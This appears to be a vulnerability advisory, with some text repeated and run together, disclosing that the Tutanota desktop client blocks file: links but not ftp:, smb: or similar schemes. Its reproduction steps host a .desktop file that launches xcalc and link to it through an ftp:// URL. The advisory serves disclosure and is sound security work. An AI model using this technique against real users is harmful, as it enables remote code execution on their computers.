Tutanota allows users to open links in emails in external applications. It correctly blocks the file:
URL scheme, which can be used by malicious actors to gain code execution on a victims computer, however fails to check other harmful schemes such as ftp:
, smb:
, etc. which can also be used.
[Desktop Entry]
Exec=xcalc
Type=Application
Successful exploitation of this vulnerability will enable an attacker to gain code execution on a victims computer.
Summary
Tutanota allows users to open links in emails in external applications. It correctly blocks the
file:
URL scheme, which can be used by malicious actors to gain code execution on a victims computer, however fails to check other harmful schemes such asftp:
,smb:
, etc. which can also be used.Details
parsedUrl
parameter is passed into ashell.openExternal
function call.file:
scheme is blocked.ftp:
,smb:
,ms-msdt:
,search-ms:
, etc. to gain RCE on a victims computer when clicked.Steps to Reproduce
This PoC uses Ubuntu with the XFCE desktop environment, since it is least complicated to reproduce using this setup
3.118.8
AppImage on a Ubuntu Desktop with the XFCE environment.pwn.desktop
file in the FTP root, with the following content:pwn.desktop
file on the FTP server. Replace the corresponding values in the hyperlink:ftp://username:password@ip-address/pwn.desktop
.PoC
https://user-images.githubusercontent.com/46137338/270564886-7a0389d3-f9ef-44e1-9f5e-57ccc72dcaa8.mp4
Impact
Successful exploitation of this vulnerability will enable an attacker to gain code execution on a victims computer.
References